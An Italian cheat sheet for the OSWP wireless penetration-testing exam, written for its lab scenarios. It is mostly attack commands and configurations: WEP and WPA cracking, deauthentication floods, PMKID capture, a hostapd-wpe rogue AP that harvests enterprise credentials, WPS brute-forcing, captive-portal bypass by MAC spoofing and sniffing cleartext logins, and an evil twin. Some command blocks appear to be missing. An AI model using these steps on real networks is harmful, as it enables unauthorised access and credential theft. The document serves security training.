CHEAT SHEET COMPLETO PER ESAME OSWP (v17)
Cronologia sintetica delle revisioni maggiori: v2 fix hashcat/OpenCL su ARM, v3 riscrittura Captive Portal, v6-v8 fix critici su Rogue AP Enterprise, v13 fix conversione PMKID, v16 tabella
hw_mode, v17 riordino con notice GitHub-style e sfoltimento prosa.
INDICE
- Reti WEP
- Reti WPA/WPA2-PSK
- Reti WPA/WPA2-Enterprise (WPA-MGT)
- Attacco WPS
- Bypass Captive Portal (due tecniche)
- Evil Twin su rete aperta
FASE 0: PREPARAZIONE DELL'AMBIENTE
Da rifare all'inizio di ogni scenario e ogni volta che cambi scheda di rete.
0.1 Identificare le interfacce
Warning
airmon-ng start wlan0 non rinomina sempre l'interfaccia in wlan0mon — dipende dal driver, a volte resta wlan0 in monitor mode. Verifica sempre il nome reale con iwconfig/iw dev prima di procedere. Un "No such device" è quasi sempre questo.
0.2 Salvare il MAC address originale
ORIG_MAC=$(ip link show wlan0 | grep link/ether | awk '{print $2}')
echo "Il mio MAC è: $ORIG_MAC"
Note
In monitor mode l'interfaccia mostra spesso un MAC placeholder (02:00:00:00:00:00, 42:00:00:00:00:00). Il MAC fisico salvato qui serve per aireplay-ng -h.
0.3 Terminare i processi che interferiscono
NetworkManager e wpa_supplicant cambiano canale e interferiscono con la cattura. Uccidere NetworkManager toglie Internet: scarica prima wordlist/tool, o riavvialo dopo con sudo systemctl start NetworkManager.
0.4 Modalità monitor
0.5 Test di injection
Atteso: Injection is working!.
Note
Su lab virtuali (mac80211_hwsim) questo test può dare falsi "Found 0 APs" anche con injection funzionante, perché il "mezzo radio" è simulato. Verifica piuttosto con uno scan diretto (airodump-ng) e aireplay-ng -1 0.
0.6 Ripristino interfaccia
0.7 Tool e wordlist — checklist pre-esame
sudo apt update
sudo apt install aircrack-ng hashcat reaver macchanger asleap tshark isc-dhcp-client hcxtools
ls -la /usr/share/wordlists/rockyou.txt*
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # se compresso
Important
La VM d'esame potrebbe non avere Internet. Verifica prima che siano tutti presenti: aircrack-ng suite, hashcat, reaver/bully, macchanger, asleap, hostapd-wpe, hcxdumptool, hcxpcapngtool, hcxhash2cap, tshark, dhclient.
Verifica hashcat (ARM/Kali):
Caution
No devices found/left è tipico su Kali arm64: il pacchetto pocl-opencl-icd è stato rimosso dai repo Kali (confermato su pkg.kali.org come "gone") e ocl-icd-libopencl1 da solo non basta — serve un driver/ICD vero, non disponibile via apt su queste immagini. Non contarci come piano principale: usa aircrack-ng per WEP/WPA-PSK e asleap per l'Enterprise, entrambi CPU-native.
Verifica dhclient:
Note
Le Kali recenti non includono più dhclient di default. Serve nella Fase 3 per le connessioni via wpa_supplicant (WEP/WPA/Enterprise), dove NetworkManager va tenuto spento.
FASE 1: RICOGNIZIONE
1.1 Scansione completa
Opzioni utili:--band abg, --manufacturer, --wps, -c <canale>, --bssid <BSSID>.
1.2 Colonne principali
| Colonna | Significato |
|---|---|
| BSSID | MAC dell'AP |
| PWR | Potenza segnale (vicino a 0 = forte) |
| Beacons | Beacon ricevuti |
| #Data | Pacchetti dati |
| CH | Canale |
| MB | Velocità massima |
| ENC | Cifratura (WEP/WPA/WPA2/OPN) |
| CIPHER | TKIP/CCMP |
| AUTH | PSK/MGT/OPN/SAE |
| ESSID | Nome rete |
1.3 Smistamento per scenario
- WEP (
ENC: WEP) → priorità alta, facile da craccare - WPA/WPA2 PSK (
AUTH: PSK) → handshake o PMKID - WPA/WPA2 MGT (
AUTH: MGT) → Enterprise, Rogue AP - WPS (
WPS: Yesinwash) → possibile brute-force - Reti aperte (
ENC: OPN) → Evil Twin o Captive Portal (vedi 2.5)
Important
PSK e MGT mostrano entrambi ENC: WPA2 CCMP — la differenza sta solo nella colonna AUTH. Confonderli ti manda a inseguire un handshake su una rete Enterprise (dove non esiste) o viceversa. Controllala sempre prima di iniziare.
Tip
Non tutte le reti in scansione sono target reali — alcune sono solo rumore di fondo senza nessun client che si connette mai. Sintomo: #Data fisso a 0 e STATION sempre vuota anche dopo 10+ minuti. Verifica velocemente prima di investire tempo:
1.4 Cattura mirata (bloccando il canale)
Blocca il canale per evitare che l'hopping automatico faccia perdere pacchetti cruciali (handshake, IV).Warning
Se hai un airodump-ng in hopping e un aireplay-ng mirato sulla stessa interfaccia in parallelo, si contendono il canale — loop di "wlan0mon is on channel X, but the AP uses channel Y". Usa interfacce diverse o ferma l'hopping mentre attacchi.
Caution
aireplay-ng non cambia mai canale da solo — resta bloccato su quello impostato l'ultima volta su quell'interfaccia. Riusando la stessa interfaccia (es. wlan1mon) su target a canali diversi nel corso della sessione, è facilissimo lanciare un deauth che silenziosamente non raggiunge mai l'AP ("Waiting for beacon frame ... on channel X" con X sbagliato, senza errori espliciti). Prima di ogni deauth:
airodump-ng -c <CH> --bssid <BSSID> wlan1mon sulla stessa interfaccia subito prima — il canale impostato viene "ereditato" anche da aireplay-ng. Controlla sempre che "on channel X" corrisponda al target prima di considerare il deauth "in corso".
FASE 2: ATTACCHI SPECIFICI
2.1 RETI WEP
Servono ~40.000 IV per craccare la chiave.
STEP 1 — Identificare la rete
STEP 2 — Avviare la cattura IV
STEP 3 — Generare traffico
Opzione A — ARP Replay (con client/traffico esistente, consigliata):
Opzione B — Fake Authentication (nessun client associato, va fatta prima dell'ARP replay):
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
Opzione C — Nessun traffico da rilanciare, nessun client (ChopChop/Fragmentation):
# ChopChop
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo packetforge-ng -0 -a <BSSID> -h $ORIG_MAC -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-<data>.xor -w arp-request
sudo aireplay-ng -2 -r arp-request wlan0mon
# Fragmentation (alternativa, spesso più veloce)
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon
# poi packetforge-ng come sopra sul .xor generato
#Data.
STEP 4 — Monitorare la raccolta IV fino a ~40.000 in #Data.
STEP 5 — Craccare
Nessuna dipendenza da hashcat/OpenCL.2.2 RETI WPA/WPA2-PSK
STEP 1 — Cattura sul target
STEP 2 — Deauth
sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon # mirato, consigliato
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon # broadcast, rumoroso
STEP 3 — Verificare l'handshake: cerca WPA handshake: <BSSID> in alto a destra in airodump-ng. Se non appare, ripeti il deauth (-0 10) o cambia client.
STEP 3bis — Alternativa clientless: attacco PMKID
Utile se non c'è nessun client da deautenticare:
sudo iw dev wlan0mon set channel <CH>
sudo hcxdumptool -i wlan0mon -w capture.pcapng
# CTRL+C dopo qualche minuto
hcxpcapngtool -o hash_pmkid.hc22000 capture.pcapng
Warning
hcxdumptool non fa channel hopping automatico — fissa il canale prima o non catturerai nulla. La sintassi del flag di output è cambiata più volte tra versioni (-o, --pcapngout=, ora di nuovo -w): se ottieni unrecognized option, verifica con hcxdumptool -h | grep -E "^\s*-w|^\s*-o" prima di fidarti del comando sopra. --enable_status è stato rimosso: lo status live compare ora automaticamente.
Caution
aircrack-ng non legge il formato .hc22000 (proprietario di hashcat). Serve riconvertirlo in .cap con hcxhash2cap:
hcxhash2cap --pmkid-eapol=hash_pmkid.hc22000 -c converted.cap
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt converted.cap
hcxhash2cap manca: sudo apt install hcxtools -y. Se hai un hashcat funzionante, puoi saltare la conversione e usare -m 22000 direttamente (STEP 5bis sotto).
Tip
Nel summary di hcxpcapngtool il campo weak candidate...: 12345678 è un segnaposto sempre presente, non una password recuperata — ignoralo. L'attacco PMKID clientless funziona solo se l'AP include il PMKID nella risposta di associazione (caching PMKSA abilitato): non tutti gli AP lo fanno. Se dopo diversi minuti hai solo EAPOL M1 senza M2/M3/M4 e "no hashes written", quell'AP specifico probabilmente non lo supporta — serve un handshake completo con client reale.
STEP 4 — Cracking primario: aircrack-ng (CPU-native, nessuna dipendenza OpenCL — obbligatorio su Kali arm64)
STEP 4bis/5bis — Alternativa con GPU/OpenCL funzionante
hcxpcapngtool -o hash_handshake.hc22000 wpa_capture-01.cap
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt
sudo hashcat -m 22000 hash_handshake.hc22000 --show
2.3 RETI WPA/WPA2-ENTERPRISE (WPA-MGT)
Richiede un Rogue Access Point per intercettare le credenziali EAP. Lo scenario più delicato dell'intero cheat sheet.
Strumenti: tool storico del corso PEN-210 è hostapd-wpe (non hostapd-mana, che comunque è valido/più mantenuto — verifica cosa hai preinstallato con which hostapd-wpe / which hostapd-mana). Serve anche asleap per il cracking MSCHAPv2 offline (CPU-native).
STEP 1 — Identificare il target: cerca AUTH: MGT.
Important
Non tutte le reti MGT sono attaccabili con un Rogue AP semplice. Il metodo EAP interno determina tutto:
- MSCHAPv2 / GTC / MD5 → il downgrade forzato da hostapd-wpe funziona, ottieni credenziali in chiaro o challenge/response. Il resto di questa sezione copre questo caso.
- EAP-TLS puro, o PEAP/TTLS con verifica del certificato server attiva → il Rogue AP non può funzionare con un certificato self-signed generico. PEAP/TTLS hanno comunque un tunnel TLS esterno con verifica cert, identico a EAP-TLS puro — non conta il numero di metodo EAP mostrato, conta se il client valida il certificato.
Riconoscilo dal log di hostapd-wpe:
STA ... Supplicant used different EAP type: 13 (TLS) ← o 25 (PEAP), stesso esito
SSL: SSL3 alert: read (remote end reported an error):fatal:unknown CA ← segnale decisivo
unknown CA, non è recuperabile con questa tecnica — il Rogue AP funziona correttamente, è quel target specifico a essere fuori portata (comportamento sicuro corretto del client, non un tuo errore). Cambia target, cerca un altro AP MGT e ripeti da STEP 2.
STEP 2 — Configurazione completa
Il template minimo (solo ssid/channel/mana_wpe) non basta: servono i parametri WPA-EAP e i certificati.
Caution
L'interfaccia va usata in modalità gestita, mai in monitor mode. hostapd-wpe con driver nl80211 gestisce da solo il passaggio a modalità AP — puntarlo su wlan0mon produce "Invalid HW-addr family" o "key not allowed" / "Failed to set beacon parameters". Prima di scrivere il conf:
interface=wlan0
driver=nl80211
ssid=CorporateWiFi
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever2changeme
hostapd-mana, l'equivalente è aggiungere mana_wpe=1 sopra questa stessa base.
Caution
ssid=CorporateWiFi è solo un ESEMPIO — sostituiscilo sempre con l'ESSID esatto del target. Errore particolarmente subdolo: hostapd-wpe parte senza errori, l'AP è visibile e sul canale giusto, ma nessun client si connetterà mai perché cerca un nome diverso. Verifica sempre dopo l'avvio:
Caution
channel e hw_mode devono combaciare con banda e canale reali del target. Il template usa channel=6/hw_mode=g (2.4GHz) solo come esempio. L'unico indicatore affidabile della banda è il numero di canale (non il suffisso "e" nella colonna MB, che indica solo supporto QoS ed è indipendente dalla banda):
CH in airodump-ng |
Banda | hw_mode |
|---|---|---|
| 1–14 | 2.4 GHz | b o g |
| 36–165 | 5 GHz | a |
| 1–6 (WiGig, raro) | 60 GHz | ad |
Per un target 5GHz canale 44: channel=44 / hw_mode=a. Se ottieni un errore di dominio regolatorio: sudo iw reg set US.
Tabella completa hw_mode (parametro standard hostapd):
| Valore | Standard | Banda | Frequenza | Note |
|---|---|---|---|---|
b |
802.11b | 2.4 GHz | 2412–2484 MHz | Solo DSSS/CCK, max 11 Mbps, raro da solo oggi |
g |
802.11g | 2.4 GHz | 2412–2484 MHz | OFDM, retrocompatibile con b. Usalo per qualunque target su canale 1-14 |
a |
802.11a | 5 GHz | 5170–5825 MHz | OFDM. Usalo per qualunque target su canale ≥36 |
ad |
802.11ad (WiGig) | 60 GHz | 58–70 GHz | Rarissimo in scenari OSWP |
any |
— | — | — | Lascia decidere al driver, meglio evitarlo |
Note
hw_mode indica solo la banda/PHY di base. 802.11n/ac/ax non hanno un proprio valore: si abilitano con flag aggiuntivi sopra la banda (ieee80211n=1, ieee80211ac=1). Per un Rogue AP che deve solo farsi vedere e associare un client, hw_mode=g/hw_mode=a da soli bastano quasi sempre.
Caution
Se hostapd-wpe fallisce con:
OpenSSL: tls_read_pkcs12 - Failed to use PKCS#12 file error:0D0680A8:asn1 encoding routines:ASN1_CHECK_TLEN:wrong tag
/etc/hostapd-wpe/certs/ sono spesso in un formato che OpenSSL 3.x non parsa più (non "generati automaticamente in modo affidabile" come talvolta si legge). Rigenerali:
cd /etc/hostapd-wpe/certs
sudo openssl req -x509 -newkey rsa:2048 -keyout ca.key -out ca.pem -days 3650 -nodes -subj "/CN=hostapd-wpe-CA"
sudo openssl req -newkey rsa:2048 -keyout server.key -out server.csr -nodes -subj "/CN=hostapd-wpe"
sudo openssl x509 -req -in server.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out server.pem -days 3650
private_key_passwd dal conf, altrimenti hostapd-wpe prova come fallback a leggere il file come PKCS#12 e produce lo stesso errore anche con certificati validi.
STEP 3 — Avviare il Rogue AP
STEP 4 — Deauth dei client dal target legittimo
Warning
-a vuole SEMPRE il BSSID dell'AP, -c il MAC del client — sono facili da scambiare guardando la tabella STATION di airodump-ng. Se metti per errore il MAC del client in -a, ottieni "No such BSSID available" in loop.
-c l'attacco è broadcast (più rumoroso, deautentica tutti i client dell'AP).
STEP 5 — Catturare le credenziali
Note
hostapd-wpe non scrive in /var/log/hostapd.log di default, ma in hostapd-wpe.log nella directory da cui l'hai lanciato.
Se il client supporta EAP-GTC oltre a MSCHAPv2, hostapd-wpe forza il downgrade a GTC ottenendo credenziali in chiaro direttamente nel log, senza cracking. Controlla sempre prima lì. Se il client usa solo MSCHAPv2, ottieni una tripla username:challenge:response da craccare offline.
Tip
Se il Rogue AP è configurato correttamente (SSID/canale/banda verificati) ma il client non si riassocia dopo il deauth, non è detto sia un problema di config — alcuni client si riconnettono solo periodicamente (cron su un lab, retry interval nel mondo reale). Ripeti il deauth nel tempo invece di un singolo tentativo:
e tienihostapd-wpe.log sotto tail -f continuo. Verifica comunque per primo il canale sull'interfaccia di attacco (causa più comune di deauth "silenziosamente inefficaci").
Note
Clonare anche il BSSID (non solo l'SSID) può servire per client "pinnati" su un BSSID specifico via PMKSA cache. Su lab virtuali (mac80211_hwsim) impostare lo stesso MAC su due interfacce spesso fallisce a livello driver ("kernel reports: Match already configured") — limite del simulatore, non della tecnica. Nella maggior parte dei casi reali basta l'SSID identico; il BSSID cloning è un'ultima risorsa.
STEP 6 — Craccare con asleap (primario)
STEP 6bis — Hashcat (solo se hashcat -I mostra un device)
# -m 5500 = MSCHAPv2/NetNTLMv1 — NON 16800/22000 (quelli sono per WPA-PSK PMKID/handshake)
sudo hashcat -m 5500 hash_enterprise.txt /usr/share/wordlists/rockyou.txt
2.4 ATTACCO WPS
STEP 1 — Identificare AP con WPS
STEP 2 — Reaver
-K 1 = Pixie Dust (richiede pixiewps a parte, verifica con which pixiewps), -d 2, -t 5, -N, -L.
STEP 3 — Se si blocca: riprova con -K 1, o attendi 5-10 minuti di lockout.
STEP 4 — Se Reaver fallisce, Bully
2.5 BYPASS DEL CAPTIVE PORTAL
Una rete ENC: OPN può nascondere due tipi di captive portal molto diversi, e non lo sai finché non ci provi:
- Tipo A — Whitelist MAC: passa traffico reale solo ai MAC già "visti" autenticarsi. Bypass: rubi il MAC di un client autorizzato.
- Tipo B — Login applicativo reale (form HTML): il MAC non conta, serve una credenziale valida. Bypass: sniffing passivo delle credenziali in chiaro (su OPN il traffico HTTP di qualunque client è leggibile in aria, anche senza essere associati).
STEP 0 — Diagnosi: quale dei due?
sudo airmon-ng stop wlan0mon
sudo ip link set wlan0 up
nmcli dev wifi connect <ESSID>
ip addr show wlan0
ip route | grep default # annota l'IP del gateway
http://<IP_GATEWAY>/ nel browser.
Important
Se vieni rediretto a un form con Username + Password → Tipo B, il MAC spoofing da solo NON funzionerà, salta direttamente alla Tecnica B. Se ti chiede solo di accettare termini o hai già accesso senza fare nulla → probabile whitelist MAC, prova la Tecnica A.
TECNICA A — Whitelist MAC
sudo airmon-ng start wlan0
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_capture wlan0mon
STATION il MAC con più Frames (client verosimilmente autorizzato):
CLIENT_MAC="11:22:33:44:55:66"
sudo airmon-ng stop wlan0mon
sudo systemctl stop NetworkManager
sudo ip link set wlan0 down
sudo macchanger -m $CLIENT_MAC wlan0
sudo ip link set wlan0 up
sudo systemctl start NetworkManager
nmcli dev wifi connect <ESSID>
ip addr show wlan0
sudo dhclient wlan0 # se serve forzare il DHCP
ping <IP_GATEWAY>
curl http://<IP_GATEWAY>/proof.txt
Note
Se il client legittimo è ancora connesso, avrai un conflitto di MAC duplicati — deautenticalo prima (aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC>, richiede monitor mode). Se resti bloccato sul login nonostante il MAC corretto, è comunque Tipo B → Tecnica B. Se la rete usa 802.1X (MGT), questa tecnica non si applica affatto (vedi 2.3).
TECNICA B — Sniffing delle credenziali in chiaro
sudo airmon-ng start wlan0
sudo airodump-ng --band abg wlan0mon # annota BSSID e CH del target
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_sniff wlan0mon
Note
L'output è esadecimale, non testo — è normale, http.file_data restituisce byte grezzi. Decodifica:
Usa le credenziali decodificate sul form di login nel browser. Se la flag non appare a schermo, recuperala via terminale mantenendo i cookie di sessione (curl senza cookie non è autenticato):
curl -c cookies.txt -d "Username=<user>&Password=<pass>&Submit=Login" http://<IP_GATEWAY>/login.php
curl -b cookies.txt http://<IP_GATEWAY>/index.php
curl -b cookies.txt http://<IP_GATEWAY>/proof.txt
Tip
Alternativa via GUI: wireshark captive_sniff-01.cap, filtro http.request.method == "POST", tasto destro su un pacchetto → Follow → HTTP Stream — decodifica automatica, senza xxd.
Riepilogo rapido
| Situazione osservata | Tecnica |
|---|---|
| Nessun form, solo redirect/blocco generico | A — MAC spoofing |
| Form con Username + Password | B — Sniffing credenziali |
| A non funziona nonostante MAC corretto | Prova B |
| Obiettivo è "intercetta le credenziali di un utente" | B, sempre |
2.6 EVIL TWIN SU RETE APERTA
Routing opzionale:
sudo ifconfig at0 up
sudo ifconfig at0 192.168.1.1 netmask 255.255.255.0
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Deauth dal target legittimo:
Intercettare il traffico:
DHCP/DNS sui client connessi:
sudo apt install dnsmasq
cat > dnsmasq.conf << EOF
interface=at0
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
log-queries
log-facility=/var/log/dnsmasq.log
EOF
sudo dnsmasq -C dnsmasq.conf
FASE 3: ACCESSO E RACCOLTA DELLA PROVA
3.1 Connessione con wpa_supplicant
WPA2-PSK (CCMP):
network={
ssid="<ESSID>"
psk="<PASSWORD>"
key_mgmt=WPA-PSK
proto=RSN
pairwise=CCMP
group=CCMP
}
WPA-PSK (TKIP): come sopra ma proto=WPA, pairwise=TKIP, group=TKIP.
sudo airmon-ng stop wlan0mon
sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf
sudo dhclient wlan0
ip addr show wlan0
ping 192.168.1.1
Reti aperte:
Reti WEP:
WPA-Enterprise:
network={
ssid="<ESSID>"
key_mgmt=WPA-EAP
eap=PEAP
identity="<USERNAME>"
password="<PASSWORD>"
phase2="auth=MSCHAPV2"
}
Note
Se dhclient manca: sudo apt install isc-dhcp-client. Per reti aperte/WEP/PSK puoi anche usare nmcli dev wifi connect <ESSID> (gestisce da solo il DHCP), ma per Enterprise e WEP via iw dev connect conviene avere dhclient disponibile per seguire esattamente questi step.
3.2 Recuperare il proof.txt
ip route | grep default
curl http://192.168.1.1/proof.txt
wget http://192.168.1.1/proof.txt
cat proof.txt
flag.txt e index.php (a volte la flag appare solo dopo login, vedi 2.5 Tecnica B), o curl -k https://... se serve HTTPS.
3.3 Documentazione (obbligatoria)
Screenshot per ogni scenario: scansione con BSSID/ESSID target, cattura handshake/IV/credenziali, comando di cracking con la chiave trovata, connessione (ip addr), download del proof.txt, contenuto del proof.txt.
APPENDICE: ERRORI COMUNI
"No such device" per wlan0/wlan0mon
Warning
Il nome dell'interfaccia in monitor mode potrebbe essere rimasto wlan0 invece di diventare wlan0mon.
"Permission denied"
"Device or resource busy"
Hashcat: "No devices found/left"
Caution
Su Kali arm64, pocl-opencl-icd è stato rimosso dai repo — non installabile via apt. Usa aircrack-ng/asleap come da Fase 0.7. Se hai comunque un backend funzionante:
"sudo: dhclient: comando non trovato"
sudo apt install isc-dhcp-client -y
sudo dhclient wlan0
# alternativa senza installare nulla, se NetworkManager è attivo:
nmcli dev wifi connect <ESSID>
"No handshake captured" in aircrack-ng
sudo aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
# alternativa clientless:
sudo hcxdumptool -i wlan0mon -w capture.pcapng
hcxpcapngtool -o hash.hc22000 capture.pcapng
hcxhash2cap --pmkid-eapol=hash.hc22000 -c converted.cap
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt converted.cap
"No IVs gathered" in aircrack-ng (WEP)
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
# se nessun client/traffico:
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon # chopchop
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon # fragmentation
"Memory allocation failed" in Hashcat: aumenta RAM VM o usa wordlist più piccola (solo se hashcat ha un backend funzionante).
"Injection is working: NO" / "Found 0 APs" con aireplay-ng -9: verifica monitor mode reale, driver, e nessun altro processo attivo sull'interfaccia. Su lab virtuali può dare falsi negativi — verifica con scan diretto e aireplay-ng -1 0.
aireplay-ng in loop su "wlan0mon is on channel X, but the AP uses channel Y": un altro processo (tipicamente airodump-ng in hopping) sulla stessa interfaccia sta cambiando canale. Usa un'interfaccia diversa o ferma lo scan hopping.
Captive portal: MAC spoofing non funziona: non tutti i portali usano whitelist MAC. Se resti bloccato su un form Username/Password, è login applicativo reale → Tecnica B (2.5).
tshark -e http.file_data restituisce hex illeggibile: normale, decodifica con echo "<hex>" | xxd -r -p o Wireshark → Follow → HTTP Stream.
RIEPILOGO COMANDI PRINCIPALI
| Fase | Comando |
|---|---|
| Setup | sudo airmon-ng check kill |
sudo airmon-ng start wlan0 |
|
ORIG_MAC=$(ip link show wlan0 \| grep link/ether \| awk '{print $2}') |
|
sudo aireplay-ng -9 wlan0mon (test injection) |
|
hashcat -I (verifica device PRIMA di contarci) |
|
which dhclient (installa se assente) |
|
| Scansione | sudo airodump-ng --band abg --manufacturer wlan0mon |
| Cattura mirata | sudo airodump-ng -c <CH> --bssid <BSSID> -w <file> wlan0mon |
| Deauth (WPA) | sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon |
| ARP Replay (WEP) | sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon |
| Fake Auth (WEP) | sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon |
| ChopChop/Fragmentation | sudo aireplay-ng -4 / -5 -b <BSSID> -h $ORIG_MAC wlan0mon |
| Crack WEP | sudo aircrack-ng wep_capture-01.cap |
| Crack WPA (aircrack-ng, primario) | sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap |
| Converti per Hashcat | hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap |
| Crack WPA (Hashcat, opzionale) | sudo hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt |
| PMKID clientless | sudo hcxdumptool -i wlan0mon -w cap.pcapng |
| PMKID → .cap per aircrack-ng | hcxhash2cap --pmkid-eapol=hash.hc22000 -c converted.cap |
| WPS Scan | sudo wash -i wlan0mon -s |
| WPS Attack | sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv |
| Captive Portal — MAC spoof | sudo macchanger -m <CLIENT_MAC> wlan0 |
| Captive Portal — sniff credenziali | tshark -r <file>.cap -Y "http.request.method == POST" -T fields -e http.file_data |
| Captive Portal — decodifica hex | echo "<hex>" \| xxd -r -p |
| Evil Twin | sudo airbase-ng -e <ESSID> -c <CH> wlan0mon |
| Rogue AP Enterprise | sudo hostapd-wpe hostapd-wpe.conf |
| Crack MSCHAPv2 (asleap, primario) | sudo asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt |
| Crack MSCHAPv2 (Hashcat, opzionale) | sudo hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt |
| Spoof MAC | sudo ip link set wlan0 down && sudo ip link set wlan0 address <NEW_MAC> && sudo ip link set wlan0 up |
| Connessione | sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf + sudo dhclient wlan0 |
| Prova finale | curl http://192.168.1.1/proof.txt |
SUGGERIMENTI PER L'ESAME
- Leggi il MAC e testa l'injection prima di fidarti dell'interfaccia.
- Verifica
hashcat -Iewhich dhclientprima dell'esame — pianificaaircrack-ng/asleap/nmclicome primari se mancano. - Più terminali: uno per
airodump-ng, uno peraireplay-ng, uno per il cracking — ma mai due processi mirati sulla stessa interfaccia in parallelo. - Blocca sempre il canale quando attacchi un target specifico.
- Sulle reti OPN, diagnostica sempre prima il tipo di captive portal (STEP 0 della 2.5) invece di tentare a caso.
- Documenta tutto: comando, output, screenshot.
- Gestisci il tempo (3h45m totali) — inizia dallo scenario più semplice.
- Verifica il proof.txt prima di passare oltre.
- Vietati strumenti automatici:
wifite,wifiphisher,besside-ng. - Se qualcosa non funziona, ripeti da capo: spesso è solo timing o interfaccia sbagliata.
- Conserva tutti i file di cattura (.cap, .hc22000, log hostapd-wpe) come prova.